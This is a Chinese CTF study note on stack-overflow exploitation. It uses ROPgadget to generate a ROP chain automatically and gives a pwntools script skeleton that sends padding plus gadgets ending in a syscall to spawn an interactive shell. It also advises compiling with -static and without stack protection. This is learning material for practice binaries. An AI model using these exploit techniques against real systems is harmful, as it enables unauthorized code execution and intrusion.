Pwn学习笔记-一键获取flag

  1. 花式栈溢出—一键获取flag
    1. 1. 使用前提:
    2. 2. 使用方式:
      1. (1)搜索rop链
      2. (2)直接写脚本
    3. 3. 搜索rop链

花式栈溢出—一键获取flag

参考链接:https://www.itdaan.com/blog/2017/05/19/daeb483344efc869d1ec1c5ff3b192bd.html

1. 使用前提:

  1. 溢出的大小足够大,写入地址足够大
  2. 没有EIP
  3. 能搜索到ROP链(最重要的要求)

2. 使用方式:

(1)搜索rop链

ROPgadget --binary ./pwn --ropchain

image-20211126151939627

(2)直接写脚本

#!/usr/bin/env python
from pwn import *

p = process('./exp4')
#p = remote('127.0.0.1',10001)

payload = 'A' * 136
payload += p64(0x00000000004017a7) # pop rsi ; ret
                    ......将之前搜索到的rop链的地址复制上来复制上来
                    ......

payload += p64(0x000000000045b0d5) # syscall ; ret

p.send(payload)

p.interactive()

3. 搜索rop链

image-20211126152425186

一般来搜索ROP链时都是出现的这样的情况:

一ROPgadget自动生成ROP链所需要的gadget:mov qword ptr [r64], r64找不到。

这是因为编译时 没有将所有需要的函数库集成进编译出来的程序上面,静态链接所有需要的库文件

只需要在编译到时候加上 “-static” 就可以出现rop链了

gcc -fno-stack-protector -static -o exp exp.c

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮箱至 1627319559@qq.com

×

喜欢就点赞,疼爱就打赏